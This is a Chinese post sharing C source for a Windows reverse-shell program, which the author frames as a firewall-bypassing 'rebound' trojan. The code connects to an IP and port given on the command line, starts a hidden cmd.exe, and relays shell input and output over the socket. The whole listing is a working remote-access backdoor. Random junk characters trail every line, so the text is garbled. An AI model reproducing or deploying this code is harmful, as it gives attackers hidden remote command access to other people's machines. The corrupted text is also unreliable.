这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "`''eV3
FPBO=?H.
/* ============================== \vR&-+8dk
Rebound port in Windows NT +o94w^'^$b
By wind,2006/7 Z F&aV?
===============================*/ a&*fk ?o
#include 43p0k&;-7
#include XKEd~2h<y
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#pragma comment(lib,"wsock32.lib") H*M )<"X
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void OutputShell(); NrrnG]#p1
SOCKET sClient; paG^W&`;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?'L3B4
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void main(int argc,char **argv) tnCGa%M
{ k25:H[
WSADATA stWsaData; =eNh))]
int nRet; a?]"|tQ'
SOCKADDR_IN stSaiClient,stSaiServer; >PD*)Uq&
yS)73s/MrY
if(argc != 3) V7\@g
{ qbwX*E~;
printf("Useage:\n\rRebound DestIP DestPort\n"); '@epiF&
return; J4Tc q
} B9glPcy}SS
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WSAStartup(MAKEWORD(2,2),&stWsaData); $B3<"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X$<s@_#1
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stSaiClient.sin_family = AF_INET; HpD<NVu
stSaiClient.sin_port = htons(0); A_mVe\(*M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :@H&v%h(u
",hPy[k
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \k69 S/O
{ +UGWTO\#ha
printf("Bind Socket Failed!\n"); xpb,Nzwt^
return; NLz[F`I
} E>}(r%B
F/ODV=J-
stSaiServer.sin_family = AF_INET; PqOPRf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ? V0!N;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !M&Qca2
2{sx"/k\A
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yG`J3++
S
{ `<z"BGQ
printf("Connect Error!"); ("7rjQjRz
return; ^D=1%@l?#
} >4.K>U?0FC
OutputShell(); el;ey Ga
} #Pf?.NrTn
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void OutputShell() A=(<g";m
{ 'fqX^v5n
char szBuff[1024]; *x;&fyR
SECURITY_ATTRIBUTES stSecurityAttributes; +@ FM~q
OSVERSIONINFO stOsversionInfo; ]hPu
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IgsK7wn
STARTUPINFO stStartupInfo; ^bZ'z
char *szShell; %)|pUa&
PROCESS_INFORMATION stProcessInformation; ey~5DY7
unsigned long lBytesRead; Lcx)wof
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); oVK3=m@{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1j9R^
stSecurityAttributes.lpSecurityDescriptor = 0; -
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stSecurityAttributes.bInheritHandle = TRUE; i Sm
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ID#p5`3n
m!qbQMXn
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IsC`r7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +p%!G1Yz
;_HG
5}i
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZJ$nHS?ra
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;!ICLkc$
stStartupInfo.wShowWindow = SW_HIDE; "
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stStartupInfo.hStdInput = hReadPipe; G=.vo3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /s'7[bSv
)H'SU_YU
GetVersionEx(&stOsversionInfo); +4N7 _Y
mip2=7M|C
switch(stOsversionInfo.dwPlatformId) r\+0J`
{ 6dCS Gb
case 1: /3VSO"kcZ
szShell = "command.com"; mO6rj=L^
break; CTG:C5OK
default: #s\HiO$BT
szShell = "cmd.exe"; C3XB'CL6
break; [%);N\o2Y
} ?nLlZpZ2v
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Vw^2TRU
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send(sClient,szMsg,77,0); _{]\} =@
while(1) i; qb\
{ 3?d o|>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lhx"<kR4
if(lBytesRead) . paA0j
{ 1kd\Fq^z$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]WsQ=
send(sClient,szBuff,lBytesRead,0); ]~Su
} Aa.eu=@I
else 5Hli@:B2s
{ ]f3[I3;K
lBytesRead=recv(sClient,szBuff,1024,0); W7F1o[
if(lBytesRead<=0) break; $j+RUelFY
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9?jD90@
}
} |2$wJ$I
} ,m`>
Ap:mc:
return; wb#ZRmx}
}